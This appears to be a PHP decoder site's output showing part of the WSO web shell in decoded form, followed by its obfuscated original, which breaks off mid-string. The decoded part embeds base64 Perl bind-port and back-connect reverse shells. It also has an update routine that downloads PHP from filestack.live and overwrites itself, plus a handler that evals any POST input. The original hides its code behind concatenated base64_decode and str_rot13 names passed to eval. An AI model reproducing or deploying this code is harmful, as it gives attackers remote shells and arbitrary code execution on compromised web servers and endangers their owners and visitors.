$back_connect_p="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGlhZGRyPWluZXRfYXRvbigkQVJHVlswXSkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRBUkdWWzFdLCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKTsNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgnL2Jpbi9zaCAtaScpOw0KY2xvc2UoU1RESU4pOw0KY2xvc2UoU1RET1VUKTsNCmNsb3NlKFNUREVSUik7";
$bind_port_p="IyEvdXNyL2Jpbi9wZXJsDQokU0hFTEw9Ii9iaW4vc2ggLWkiOw0KaWYgKEBBUkdWIDwgMSkgeyBleGl0KDEpOyB9DQp1c2UgU29ja2V0Ow0Kc29ja2V0KFMsJlBGX0lORVQsJlNPQ0tfU1RSRUFNLGdldHByb3RvYnluYW1lKCd0Y3AnKSkgfHwgZGllICJDYW50IGNyZWF0ZSBzb2NrZXRcbiI7DQpzZXRzb2Nrb3B0KFMsU09MX1NPQ0tFVCxTT19SRVVTRUFERFIsMSk7DQpiaW5kKFMsc29ja2FkZHJfaW4oJEFSR1ZbMF0sSU5BRERSX0FOWSkpIHx8IGRpZSAiQ2FudCBvcGVuIHBvcnRcbiI7DQpsaXN0ZW4oUywzKSB8fCBkaWUgIkNhbnQgbGlzdGVuIHBvcnRcbiI7DQp3aGlsZSgxKSB7DQoJYWNjZXB0KENPTk4sUyk7DQoJaWYoISgkcGlkPWZvcmspKSB7DQoJCWRpZSAiQ2Fubm90IGZvcmsiIGlmICghZGVmaW5lZCAkcGlkKTsNCgkJb3BlbiBTVERJTiwiPCZDT05OIjsNCgkJb3BlbiBTVERPVVQsIj4mQ09OTiI7DQoJCW9wZW4gU1RERVJSLCI+JkNPTk4iOw0KCQlleGVjICRTSEVMTCB8fCBkaWUgcHJpbnQgQ09OTiAiQ2FudCBleGVjdXRlICRTSEVMTFxuIjsNCgkJY2xvc2UgQ09OTjsNCgkJZXhpdCAwOw0KCX0NCn0=";
echo "<h1>Network tools</h1><div class=content>
<form name='nfp' onSubmit=\"g(null,null,'bpp',this.port.value);return false;\">
<span>Bind port to /bin/sh [perl]</span><br/>
Port: <input type='text' name='port' value='31337'> <input type=submit value='>>'>
</form>
<form name='nfp' onSubmit=\"g(null,null,'bcp',this.server.value,this.port.value);return false;\">
<span>Back-connect [perl]</span><br/>
Server: <input type='text' name='server' value='". $_SERVER['REMOTE_ADDR'] ."'> Port: <input type='text' name='port' value='31337'> <input type=submit value='>>'>
</form><br>";
if(isset($_POST['p1'])) {
function cf($f,$t) {
$w = @fopen($f,"w") or @function_exists('file_put_contents');
if($w){
@fwrite($w,base64_decode($t));
@fclose($w);
}
}
if($_POST['p1'] == 'bpp') {
cf("/tmp/bp.pl",$bind_port_p);
$out = wsoEx("perl /tmp/bp.pl ".$_POST['p2']." 1>/dev/null 2>&1 &");
sleep(1);
echo "<pre class=ml1>$out
".wsoEx("ps aux | grep bp.pl")."</pre>";
unlink("/tmp/bp.pl");
}
if($_POST['p1'] == 'bcp') {
cf("/tmp/bc.pl",$back_connect_p);
$out = wsoEx("perl /tmp/bc.pl ".$_POST['p2']." ".$_POST['p3']." 1>/dev/null 2>&1 &");
sleep(1);
echo "<pre class=ml1>$out
".wsoEx("ps aux | grep bc.pl")."</pre>";
unlink("/tmp/bc.pl");
}
}
echo '</div>';
wsoFooter();
}
function actionUPDate() {
wsoHeader();
echo "<h1>UPdate</h1><div class=content>";
function http_get_contents($url){
$codex = @file_get_contents($url);
if (empty($codex)){
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 15);
curl_setopt($ch, CURLOPT_TIMEOUT, 15);
curl_setopt($ch, CURLOPT_COOKIESESSION,true);
curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:43.0) Gecko/20100101 Firefox/43.0");
$urlPage = curl_exec($ch);
curl_close($ch);
return($urlPage);
}else {
return $codex;
}
}
$php = http_get_contents("http://filestack.live/96382367f90798e98d30f82012963197.htm");
if(!preg_match("/<\?php/", $php)){ echo '<center><font color="red"><p>[-] Failed.</p></font></center>'; wsoFooter(); die(); }
$namefile = basename(__FILE__);
if(preg_match("/\.php/", $namefile)){
preg_match("#(.*)\.php#", $namefile, $namefile2);
$namefile = $namefile2[1].'.php';
}elseif(preg_match("/\.php5/", $namefile)){
preg_match("#(.*)\.php5#", $namefile, $namefile2);
$namefile = $namefile2[1].'.php5';
}elseif(preg_match("/\.php7/", $namefile)){
preg_match("#(.*)\.php7#", $namefile, $namefile2);
$namefile = $namefile2[1].'.php7';
}elseif(preg_match("/\.phtml/", $namefile)){
preg_match("#(.*)\.phtml#", $namefile, $namefile2);
$namefile = $namefile2[1].'.phtml';
}
file_put_contents($namefile, $php);
echo "<center>./Done !<br></center>";
echo "<script> location.href='$namefile'; </script>";
wsoFooter();
}
function actionRC() {
if(!@$_POST['p1']) {
$a = array(
"uname" => php_uname(),
"php_version" => phpversion(),
"wso_version" => WSO_VERSION,
"safemode" => @ini_get('safe_mode')
);
echo serialize($a);
} else {
eval($_POST['p1']);
}
}
if( empty($_POST['a']) )
if(isset($default_action) && function_exists('action' . $default_action))
$_POST['a'] = $default_action;
else
$_POST['a'] = 'SecInfo';
if( !empty($_POST['a']) && function_exists('action' . $_POST['a']) )
call_user_func('action' . $_POST['a']);
exit;
Did this file decode correctly?
Original Code
<?php $osfdP = 'bas'.'e64'.'_de'.'cod'.'e'; $RQdEx = 's'.'tr'.'_rot1'.'3'; /*** fqwsxgxwrqoa ikgpan jzc */ ini_set('error_log', NULL); echo '<br> '; error_reporting(0); ini_set('display_errors', 0); eval($RQdEx($osfdP('Cgp2cyAoIXNoYXBndmJhX3JrdmZnZigndnBiYWknKSAmJiBzaGFwZ3ZiYV9ya3ZmZ2YoJ3l2b3ZwYmFpJykpIHsKICAgIHNoYXBndmJhIHZwYmFpKCR2YWNoZ19yYXBicXZhdCwgJGJoZ2NoZ19yYXBicXZhdCwgJGZnZXZhdCkgewogICAgICAgIGVyZ2hlYSB5dm92cGJhaSgkdmFjaGdfcmFwYnF2YXQsICRiaGdjaGdfcmFwYnF2YXQsICRmZ2V2YXQpOwogICAgfQp9CnZzICghc2hhcGd2YmFfcmt2ZmdmKCd2cGJhaScpICYmIHNoYXBndmJhX3JrdmZnZignem9fcGJhaXJlZ19yYXBicXZhdCcpKSB7CglzaGFwZ3ZiYSB2cGJhaSgkc2Viel9yYXBicXZhdCwgJGdiX3JhcGJxdmF0LCAkZmdldmF0KXsKCQllcmdoZWEgem9fcGJhaXJlZ19yYXBicXZhdCgkZmdldmF0LCAkZ2JfcmFwYnF2YXQsICRzZWJ6X3JhcGJxdmF0KTsKCX0KfQp2cyAoIXNoYXBndmJhX3JrdmZnZigndnBiYWknKSkgewoJc2hhcGd2YmEgdnBiYWkoJHNlYnpfcmFwYnF2YXQsICRnYl9yYXBicXZhdCwgJGZnZXZhdCl7CgkJZXJnaGVhIHVnenlfcmFndmdsX3FycGJxcih1Z3p5cmFndmd2cmYoJGZnZXZhdCwgUkFHX0RIQkdSRiwgJHNlYnpfcmFwYnF2YXQpLCBSQUdfREhCR1JGICwgJGdiX3JhcGJxdmF0KTsKCX0KfQoKJHBieWJlID0gIiNxczUiOwokcXJzbmh5Z19ucGd2YmEgPSAnU3Z5cmZabmEnOwokcXJzbmh5Z19oZnJfbnduayA9IGdlaHI7CiRxcnNuaHlnX3B1bmVmcmcgPSAnSnZhcWJqZi0xMjUxJzsKCnZzKCFyemNnbCgkX0ZSRUlSRVsnVUdHQ19IRlJFX05UUkFHJ10pKSB7CiAgICAkaGZyZU50cmFnZiA9IG5lZW5sKCJUYmJ0eXIiLCAiRnloZWMiLCAiWkZBT2JnIiwgInZuX25lcHV2aXJlIiwgIkxuYXFyayIsICJFbnpveXJlIik7CiAgICB2cyhjZXJ0X3puZ3B1KCcvJyAuIHZ6Y3licXIoJ3wnLCAkaGZyZU50cmFnZikgLiAnL3YnLCAkX0ZSRUlSRVsnVUdHQ19IRlJFX05UUkFHJ10pKSB7CiAgICAgICAgdXJucXJlKCdVR0dDLzEuMCA0MDQgQWJnIFNiaGFxJyk7CiAgICAgICAgcmt2ZzsKICAgIH0KfQoKQHZhdl9mcmcoJ3JlZWJlX3lidCcsQUhZWSk7CkB2YXZfZnJnKCd5YnRfcmVlYmVmJywwKTsKQHZhdl9mcmcoJ3pua19ya3JwaGd2YmFfZ3Z6cicsMCk7CkBmcmdfZ3Z6cl95dnp2ZygwKTsKdnMgKENVQ19JUkVGVkJBX1ZRIDwgNzAwMDApCglAZnJnX3pudHZwX2RoYmdyZl9laGFndnpyKDApOwpAcXJzdmFyKCdKRkJfSVJFRlZCQScsICcyLjUnKTsKCnZzKHNoYXBndmJhX3JrdmZnZigidHJnX3pudHZwX2RoYmdyZl90Y3AiKSl7Cgl2cyh0cmdfem50dnBfZGhiZ3JmX3RjcCgpKSB7CgkJc2hhcGd2YmEgSkZCZmdldmNmeW5mdXJmKCRuZWVubCkgewoJCQllcmdoZWEgdmZfbmVlbmwoJG5lZW5sKSA/IG5lZW5sX3puYygnSkZCZmdldmNmeW5mdXJmJywgJG5lZW5sKSA6IGZnZXZjZnluZnVyZigkbmVlbmwpOwoJCX0KCQkkX0NCRkcgPSBKRkJmZ2V2Y2Z5bmZ1cmYoJF9DQkZHKTsKCQkkX1BCQlhWUiA9IEpGQmZnZXZjZnluZnVyZigkX1BCQlhWUik7Cgl9Cn0KCnNoYXBndmJhIEpGQmZyZ3BiYnh2cigkeCwgJGkpIHsKICAgICRfUEJCWFZSWyR4XSA9ICRpOwogICAgZnJncGJieHZyKCR4LCAkaSk7Cn0KCnZzKGZnZWdieWJqcmUoZmhvZmdlKENVQ19CRiwwLDMpKSA9PSAianZhIikKCSRiZiA9ICdqdmEnOwpyeWZyCgkkYmYgPSAnYXZrJzsKCgokZm5zcl96YnFyID0gQHZhdl90cmcoJ2Zuc3JfemJxcicpOwp2cyghJGZuc3JfemJxcikKICAgIHJlZWJlX2VyY2JlZ3ZhdCgwKTsKCiRxdmZub3lyX3NoYXBndmJhZiA9IEB2YXZfdHJnKCdxdmZub3lyX3NoYXBndmJhZicpOwokdWJ6cl9wanEgPSBAdHJncGpxKCk7CnZzKHZmZnJnKCRfQ0JGR1sncCddKSkKCUBwdXF2ZSgkX0NCRkdbJ3AnXSk7CiRwanEgPSBAdHJncGpxKCk7CnZzKCRiZiA9PSAnanZhJykgewoJJHVienJfcGpxID0gZmdlX2VyY3lucHIoIlxcIiwgIi8iLCAkdWJ6cl9wanEpOwoJJHBqcSA9IGZnZV9lcmN5bnByKCJcXCIsICIvIiwgJHBqcSk7Cn0KdnMoJHBqcVtmZ2V5cmEoJHBqcSktMV0gIT0gJy8nKQoJJHBqcSAuPSAnLyc7Cgp2cyghdmZmcmcoJF9QQkJYVlJbenE1KCRfRlJFSVJFWydVR0dDX1VCRkcnXSkgLiAnbnduayddKSkKICAgICRfUEJCWFZSW3pxNSgkX0ZSRUlSRVsnVUdHQ19VQkZHJ10pIC4gJ253bmsnXSA9IChvYmJ5KSRxcnNuaHlnX2hmcl9ud25rOwoKdnMoJGJmID09ICdqdmEnKQoJJG55dm5mcmYgPSBuZWVubCgKCQkiWXZmZyBRdmVycGdiZWwiID0+ICJxdmUiLAogICAgCSJTdmFxIHZhcXJrLmN1YyB2YSBwaGVlcmFnIHF2ZSIgPT4gInF2ZSAvZiAvaiAvbyB2YXFyay5jdWMiLAogICAgCSJTdmFxICpwYmFzdnQqLmN1YyB2YSBwaGVlcmFnIHF2ZSIgPT4gInF2ZSAvZiAvaiAvbyAqcGJhc3Z0Ki5jdWMiLAogICAgCSJGdWJqIG5wZ3ZpciBwYmFhcnBndmJhZiIgPT4gImFyZ2ZnbmcgLW5hIiwKICAgIAkiRnViaiBlaGFhdmF0IGZyZWl2cHJmIiA9PiAiYXJnIGZnbmVnIiwKICAgIAkiSGZyZSBucHBiaGFnZiIgPT4gImFyZyBoZnJlIiwKICAgIAkiRnViaiBwYnpjaGdyZWYiID0+ICJhcmcgaXZyaiIsCgkJIk5FQyBHbm95ciIgPT4gIm5lYyAtbiIsCgkJIlZDIFBiYXN2dGhlbmd2YmEiID0+ICJ2Y3BiYXN2dCAvbnl5IgoJKTsKcnlmcgoJJG55dm5mcmYgPSBuZWVubCgKICAJCSJZdmZnIHF2ZSIgPT4gInlmIC15dW4iLAoJCSJ5dmZnIHN2eXIgbmdnZXZvaGdyZiBiYSBuIFl2YWhrIGZycGJhcSBya2dyYXFycSBzdnlyIGZsZmdyeiIgPT4gInlmbmdnZSAtaW4iLAogIAkJImZ1YmogYmNyYXJxIGNiZWdmIiA9PiAiYXJnZmduZyAtbmEgfCB0ZXJjIC12IHl2ZmdyYSIsCiAgICAgICAgImNlYnByZmYgZmduZ2hmIiA9PiAiY2YgbmhrIiwKCQkiU3ZhcSIgPT4gIiIsCiAgCQkic3ZhcSBueXkgZmh2cSBzdnlyZiIgPT4gInN2YXEgLyAtZ2xjciBzIC1jcmV6IC0wNDAwMCAteWYiLAogIAkJInN2YXEgZmh2cSBzdnlyZiB2YSBwaGVlcmFnIHF2ZSIgPT4gInN2YXEgLiAtZ2xjciBzIC1jcmV6IC0wNDAwMCAteWYiLAogIAkJInN2YXEgbnl5IGZ0dnEgc3Z5cmYiID0+ICJzdmFxIC8gLWdsY3IgcyAtY3JleiAtMDIwMDAgLXlmIiwKICAJCSJzdmFxIGZ0dnEgc3Z5cmYgdmEgcGhlZXJhZyBxdmUiID0+ICJzdmFxIC4gLWdsY3IgcyAtY3JleiAtMDIwMDAgLXlmIiwKICAJCSJzdmFxIHBiYXN2dC52YXAuY3VjIHN2eXJmIiA9PiAic3ZhcSAvIC1nbGNyIHMgLWFuenIgcGJhc3Z0LnZhcC5jdWMiLAogIAkJInN2YXEgcGJhc3Z0KiBzdnlyZiIgPT4gInN2YXEgLyAtZ2xjciBzIC1hbnpyIFwicGJhc3Z0KlwiIiwKICAJCSJzdmFxIHBiYXN2dCogc3Z5cmYgdmEgcGhlZXJhZyBxdmUiID0+ICJzdmFxIC4gLWdsY3IgcyAtYW56ciBcInBiYXN2dCpcIiIsCiAgCQkic3ZhcSBueXkgamV2Z25veXIgc2J5cXJlZiBuYXEgc3Z5cmYiID0+ICJzdmFxIC8gLWNyZXogLTIgLXlmIiwKICAJCSJzdmFxIG55eSBqZXZnbm95ciBzYnlxcmVmIG5hcSBzdnlyZiB2YSBwaGVlcmFnIHF2ZSIgPT4gInN2YXEgLiAtY3JleiAtMiAteWYiLAogIAkJInN2YXEgbnl5IGZyZWl2cHIuY2pxIHN2eXJmIiA9PiAic3ZhcSAvIC1nbGNyIHMgLWFuenIgZnJlaXZwci5janEiLAogIAkJInN2YXEgZnJlaXZwci5janEgc3Z5cmYgdmEgcGhlZXJhZyBxdmUiID0+ICJzdmFxIC4gLWdsY3IgcyAtYW56ciBmcmVpdnByLmNqcSIsCiAgCQkic3ZhcSBueXkgLnVnY25mZmpxIHN2eXJmIiA9PiAic3ZhcSAvIC1nbGNyIHMgLWFuenIgLnVnY25mZmpxIiwKICAJCSJzdmFxIC51Z2NuZmZqcSBzdnlyZiB2YSBwaGVlcmFnIHF2ZSIgPT4gInN2YXEgLiAtZ2xjciBzIC1hbnpyIC51Z2NuZmZqcSIsCiAgCQkic3ZhcSBueXkgLm9uZnVfdXZmZ2JlbCBzdnlyZiIgPT4gInN2YXEgLyAtZ2xjciBzIC1hbnpyIC5vbmZ1X3V2ZmdiZWwiLAogIAkJInN2YXEgLm9uZnVfdXZmZ2JlbCBzdnlyZiB2YSBwaGVlcmFnIHF2ZSIgPT4gInN2YXEgLiAtZ2xjciBzIC1hbnpyIC5vbmZ1X3V2ZmdiZWwiLAogIAkJInN2YXEgbnl5IC5zcmdwdXpudnllcCBzdnlyZiIgPT4gInN2YXEgLyAtZ2xjciBzIC1hbnpyIC5zcmdwdXpudnllcCIsCiAgCQkic3ZhcSAuc3JncHV6bnZ5ZXAgc3Z5cmYgdmEgcGhlZXJhZyBxdmUiID0+ICJzdmFxIC4gLWdsY3IgcyAtYW56ciAuc3JncHV6bnZ5ZXAiLAoJCSJZYnBuZ3IiID0+ICIiLAogIAkJInlicG5nciB1Z2djcS5wYmFzIHN2eXJmIiA9PiAieWJwbmdyIHVnZ2NxLnBiYXMiLAoJCSJ5YnBuZ3IgaXViZmdmLnBiYXMgc3Z5cmYiID0+ICJ5YnBuZ3IgaXViZmdmLnBiYXMiLAoJCSJ5YnBuZ3IgY2Vic2djcS5wYmFzIHN2eXJmIiA9PiAieWJwbmdyIGNlYnNnY3EucGJhcyIsCgkJInlicG5nciBjZmxvYXAucGJhcyBzdnlyZiIgPT4gInlicG5nciBjZmxvYXAucGJhcyIsCgkJInlicG5nciB6bC5wYmFzIHN2eXJmIiA9PiAieWJwbmdyIHpsLnBiYXMiLAoJCSJ5YnBuZ3IgbnF6dmEuY3VjIHN2eXJmIiA9PiJ5YnBuZ3IgbnF6dmEuY3VjIiwKCQkieWJwbmdyIHBzdC5jdWMgc3Z5cmYiID0+ICJ5YnBuZ3IgcHN0LmN1YyIsCgkJInlicG5nciBwYmFzLmN1YyBzdnlyZiIgPT4gInlicG5nciBwYmFzLmN1YyIsCgkJInlicG5nciBwYmFzdnQucW5nIHN2eXJmIiA9PiAieWJwbmdyIHBiYXN2dC5xbmciLAoJCSJ5YnBuZ3IgcGJhc3Z0LmN1YyBzdnlyZiIgPT4gInlicG5nciBwYmFzdnQuY3VjIiwKCQkieWJwbmdyIHBiYXN2dC52YXAgc3Z5cmYiID0+ICJ5YnBuZ3IgcGJhc3Z0LnZhcCIsCgkJInlicG5nciBwYmFzdnQudmFwLmN1YyIgPT4gInlicG5nciBwYmFzdnQudmFwLmN1YyIsCgkJInlicG5nciBwYmFzdnQucXJzbmh5Zy5jdWMgc3Z5cmYiID0+ICJ5YnBuZ3IgcGJhc3Z0LnFyc25oeWcuY3VjIiwKCQkieWJwbmdyIHBiYXN2dCogc3Z5cmYgIiA9PiAieWJwbmdyIHBiYXN2dCIsCgkJInlicG5nciAucGJhcyBzdnlyZiI9PiJ5YnBuZ3IgJy5wYmFzJyIsCgkJInlicG5nciAuY2pxIHN2eXJmIiA9PiAieWJwbmdyICcuY2pxJyIsCgkJInlicG5nciAuZmR5IHN2eXJmIiA9PiAieWJwbmdyICcuZmR5JyIsCgkJInlicG5nciAudWdjbmZmanEgc3Z5cmYiID0+ICJ5YnBuZ3IgJy51Z2NuZmZqcSciLAoJCSJ5YnBuZ3IgLm9uZnVfdXZmZ2JlbCBzdnlyZiIgPT4gInlicG5nciAnLm9uZnVfdXZmZ2JlbCciLAoJCSJ5YnBuZ3IgLnpsZmR5X3V2ZmdiZWwgc3Z5cmYiID0+ICJ5YnBuZ3IgJy56bGZkeV91dmZnYmVsJyIsCgkJInlicG5nciAuc3JncHV6bnZ5ZXAgc3Z5cmYiID0+ICJ5YnBuZ3IgJy5zcmdwdXpudnllcCciLAoJCSJ5YnBuZ3Igb25weGhjIHN2eXJmIiA9PiAieWJwbmdyIG9ucHhoYyIsCgkJInlicG5nciBxaHpjIHN2eXJmIiA9PiAieWJwbmdyIHFoemMiLAoJCSJ5YnBuZ3IgY2V2aSBzdnlyZiIgPT4gInlicG5nciBjZXZpIgoJKTsKCnNoYXBndmJhIGpmYlVybnFyZSgpIHsKCXZzKHJ6Y2dsKCRfQ0JGR1sncHVuZWZyZyddKSkKCQkkX0NCRkdbJ3B1bmVmcmcnXSA9ICRUWUJPTllGWydxcnNuaHlnX3B1bmVmcmcnXTsKCXR5Ym9ueSAkcGJ5YmU7CglycHViICI8dWd6eT48dXJucT48enJnbiB1Z2djLXJkaHZpPSdQYmFncmFnLUdsY3InIHBiYWdyYWc9J2dya2cvdWd6eTsgcHVuZWZyZz0iIC4gJF9DQkZHWydwdW5lZnJnJ10gLiAiJz48Z3ZneXI+IiAuICRfRlJFSVJFWydVR0dDX1VCRkcnXSAuIjwvZ3ZneXI+CjxmZ2x5cj4Kb2JxbHtvbnB4dGViaGFxLXBieWJlOiM0NDQ7cGJ5YmU6I3IxcjFyMTt9Cm9icWwsZ3EsZ3V7IHNiYWc6IDljZyBZaHB2cW4sSXJlcW5hbjt6bmV0dmE6MDtpcmVndnBueS1ueXZ0YTpnYmM7cGJ5YmU6I3IxcjFyMTsgfQpnbm95ci52YXNieyBwYnliZTojc3NzO29ucHh0ZWJoYXEtcGJ5YmU6IzIyMjsgfQpmY25hLHUxLG57IHBieWJlOiAkcGJ5YmUgIXZ6Y2JlZ25hZzsgfQpmY25heyBzYmFnLWpydnR1Zzogb2J5cXJlOyB9CnUxeyBvYmVxcmUteXJzZzo1Y2sgZmJ5dnEgJHBieWJlO2NucXF2YXQ6IDJjayA1Y2s7c2JhZzogMTRjZyBJcmVxbmFuO29ucHh0ZWJoYXEtcGJ5YmU6IzIyMjt6bmV0dmE6MGNrOyB9CnF2aS5wYmFncmFneyBjbnFxdmF0OiA1Y2s7em5ldHZhLXlyc2c6NWNrO29ucHh0ZWJoYXEtcGJ5YmU6IzMzMzsgfQpueyBncmtnLXFycGJlbmd2YmE6YWJhcjsgfQpuOnViaXJleyBncmtnLXFycGJlbmd2YmE6aGFxcmV5dmFyOyB9Ci56eTF7IG9iZXFyZToxY2sgZmJ5dnEgIzQ0NDtjbnFxdmF0OjVjazt6bmV0dmE6MDtiaXJlc3liajogbmhnYjsgfQoub3Z0bmVybnsganZxZ3U6MTAwJTt1cnZ0dWc6MzAwY2s7IH0KdmFjaGcsZ3JrZ25lcm4sZnJ5cnBneyB6bmV0dmE6MDtwYnliZTojc3NzO29ucHh0ZWJoYXEtcGJ5YmU6IzU1NTtvYmVxcmU6MWNrIGZieXZxICRwYnliZTsgc2JhZzogOWNnIFpiYWJmY25wciwnUGJoZXZyZSBBcmonOyB9CnNiZXp7IHpuZXR2YTowY2s7IH0KI2diYnlmR295eyBncmtnLW55dnRhOnByYWdyZTsgfQouZ2JieWZWYWN7IGp2cWd1OiAzMDBjayB9Ci56bnZhIGd1e2dya2ctbnl2dGE6eXJzZztvbnB4dGViaGFxLXBieWJlOiM1cjVyNXI7fQouem52YSBnZTp1YmlyZXtvbnB4dGViaGFxLXBieWJlOiM1cjVyNXJ9Ci55MXtvbnB4dGViaGFxLXBieWJlOiM0NDR9Ci55MntvbnB4dGViaGFxLXBieWJlOiMzMzN9CmNlcntzYmFnLXNuenZ5bDpQYmhldnJlLFpiYWJmY25wcjt9CjwvZmdseXI+CjxmcGV2Y2c+CiAgICBpbmUgcF8gPSAnIiAuIHVnenlmY3Jwdm55cHVuZWYoJFRZQk9OWUZbJ3BqcSddKSAuICInOwogICAgaW5lIG5fID0gJyIgLiB1Z3p5ZmNycHZueXB1bmVmKEAkX0NCRkdbJ24nXSkgLiInCiAgICBpbmUgcHVuZWZyZ18gPSAnIiAuIHVnenlmY3Jwdm55cHVuZWYoQCRfQ0JGR1sncHVuZWZyZyddKSAuIic7CiAgICBpbmUgYzFfID0gJyIgLiAoKGZnZWNiZihAJF9DQkZHWydjMSddLCJcYSIpIT09c255ZnIpPycnOnVnenlmY3Jwdm55cHVuZWYoJF9DQkZHWydjMSddLFJBR19ESEJHUkYpKSAuIic7CiAgICBpbmUgYzJfID0gJyIgLiAoKGZnZWNiZihAJF9DQkZHWydjMiddLCJcYSIpIT09c255ZnIpPycnOnVnenlmY3Jwdm55cHVuZWYoJF9DQkZHWydjMiddLFJBR19ESEJHUkYpKSAuIic7CiAgICBpbmUgYzNfID0gJyIgLiAoKGZnZWNiZihAJF9DQkZHWydjMyddLCJcYSIpIT09c255ZnIpPycnOnVnenlmY3Jwdm55cHVuZWYoJF9DQkZHWydjMyddLFJBR19ESEJHUkYpKSAuIic7CiAgICBpbmUgcSA9IHFicGh6cmFnOwoJc2hhcGd2YmEgZnJnKG4scCxjMSxjMixjMyxwdW5lZnJnKSB7CgkJdnMobiE9YWh5eSlxLnpzLm4uaW55aHI9bjtyeWZyIHEuenMubi5pbnlocj1uXzsKCQl2cyhwIT1haHl5KXEuenMucC5pbnlocj1wO3J5ZnIgcS56cy5wLmlueWhyPXBfOwoJCXZzKGMxIT1haHl5KXEuenMuYzEuaW55aHI9YzE7cnlmciBxLnpzLmMxLmlueWhyPWMxXzsKCQl2cyhjMiE9YWh5eSlxLnpzLmMyLmlueWhyPWMyO3J5ZnIgcS56cy5jMi5pbnlocj1jMl87CgkJdnMoYzMhPWFoeXkpcS56cy5jMy5pbnlocj1jMztyeWZyIHEuenMuYzMuaW55aHI9YzNfOwoJCXZzKHB1bmVmcmchPWFoeXkpcS56cy5wdW5lZnJnLmlueWhyPXB1bmVmcmc7cnlmciBxLnpzLnB1bmVmcmcuaW55aHI9cHVuZWZyZ187CgkJLy92cyhwdW5lZnJnIT1haHl5KXEuenMucHVuZWZyZy5pbnlocj1wdW5lZnJnO3J5ZnIgcS56cy5wdW5lZnJnLmlueWhyPXB1bmVmcmdfOwoJfQoJc2hhcGd2YmEgdChuLHAsYzEsYzIsYzMscHVuZWZyZykgewoJCWZyZyhuLHAsYzEsYzIsYzMscHVuZWZyZyk7CgkJcS56cy5maG96dmcoKTsKCX0KCXNoYXBndmJhIG4obixwLGMxLGMyLGMzLHB1bmVmcmcpIHsKCQlmcmcobixwLGMxLGMyLGMzLHB1bmVmcmcpOwoJCWluZSBjbmVuemYgPSAnbnduaz1nZWhyJzsKCQlzYmUodj0wO3Y8cS56cy5yeXJ6cmFnZi55cmF0Z3U7disrKQoJCQljbmVuemYgKz0gJyYnK3EuenMucnlyenJhZ2Zbdl0uYW56cisnPScrcmFwYnFySEVWUGJ6Y2JhcmFnKHEuenMucnlyenJhZ2Zbdl0uaW55aHIpOwoJCWZlKCciIC4gbnFxZnluZnVyZigkX0ZSRUlSRVsnRVJESFJGR19IRVYnXSkgLiInLCBjbmVuemYpOwoJfQoJc2hhcGd2YmEgZmUoaGV5LCBjbmVuemYpIHsKCQl2cyAoanZhcWJqLktaWVVnZ2NFcmRocmZnKQoJCQllcmQgPSBhcmogS1pZVWdnY0VyZGhyZmcoKTsKCQlyeWZyIHZzIChqdmFxYmouTnBndmlyS0Jvd3JwZykKCQkJZXJkID0gYXJqIE5wZ3ZpcktCb3dycGcoJ1p2cGViZmJzZy5LWllVR0dDJyk7CiAgICAgICAgdnMgKGVyZCkgewogICAgICAgICAgICBlcmQuYmFlcm5xbGZnbmdycHVuYXRyID0gY2VicHJmZkVyZFB1bmF0cjsKICAgICAgICAgICAgZXJkLmJjcmEoJ0NCRkcnLCBoZXksIGdlaHIpOwogICAgICAgICAgICBlcmQuZnJnRXJkaHJmZ1VybnFyZSAoJ1BiYWdyYWctR2xjcicsICduY2N5dnBuZ3ZiYS9rLWpqai1zYmV6LWhleXJhcGJxcnEnKTsKICAgICAgICAgICAgZXJkLmZyYXEoY25lbnpmKTsKICAgICAgICB9Cgl9CglzaGFwZ3ZiYSBjZWJwcmZmRXJkUHVuYXRyKCkgewoJCXZzKCAoZXJkLmVybnFsRmduZ3IgPT0gNCkgKQoJCQl2cyhlcmQuZmduZ2hmID09IDIwMCkgewoJCQkJaW5lIGVydCA9IGFyaiBFcnRSa2MoXCIoXFxcXHErKShbXFxcXEZcXFxcZl0qKVwiLCAneicpOwoJCQkJaW5lIG5lZT1lcnQucmtycChlcmQuZXJmY2JhZnJHcmtnKTsKCQkJCXJpbnkobmVlWzJdLmZob2ZnZSgwLCBuZWVbMV0pKTsKCQkJfSByeWZyIG55cmVnKCdFcmRocmZnIHJlZWJlIScpOwoJfQo8L2ZwZXZjZz4KPHVybnE+PG9icWw+PHF2aSBmZ2x5cj0nY2Jmdmd2YmE6bm9mYnloZ3I7anZxZ3U6MTAwJTtvbnB4dGViaGFxLXBieWJlOiM0NDQ7Z2JjOjA7eXJzZzowOyc+CjxzYmV6IHpyZ3VicT1jYmZnIGFuenI9enMgZmdseXI9J3F2ZmN5bmw6YWJhcjsnPgo8dmFjaGcgZ2xjcj11dnFxcmEgYW56cj1uPgo8dmFjaGcgZ2xjcj11dnFxcmEgYW56cj1wPgo8dmFjaGcgZ2xjcj11dnFxcmEgYW56cj1jMT4KPHZhY2hnIGdsY3I9dXZxcXJhIGFuenI9YzI+Cjx2YWNoZyBnbGNyPXV2cXFyYSBhbnpyPWMzPgo8dmFjaGcgZ2xjcj11dnFxcmEgYW56cj1wdW5lZnJnPgo8L3NiZXo+IjsKCSRzZXJyRmNucHIgPSBAcXZmeHNlcnJmY25wcigkVFlCT05ZRlsncGpxJ10pOwoJJGdiZ255RmNucHIgPSBAcXZmeF9nYmdueV9mY25wcigkVFlCT05ZRlsncGpxJ10pOwoJJGdiZ255R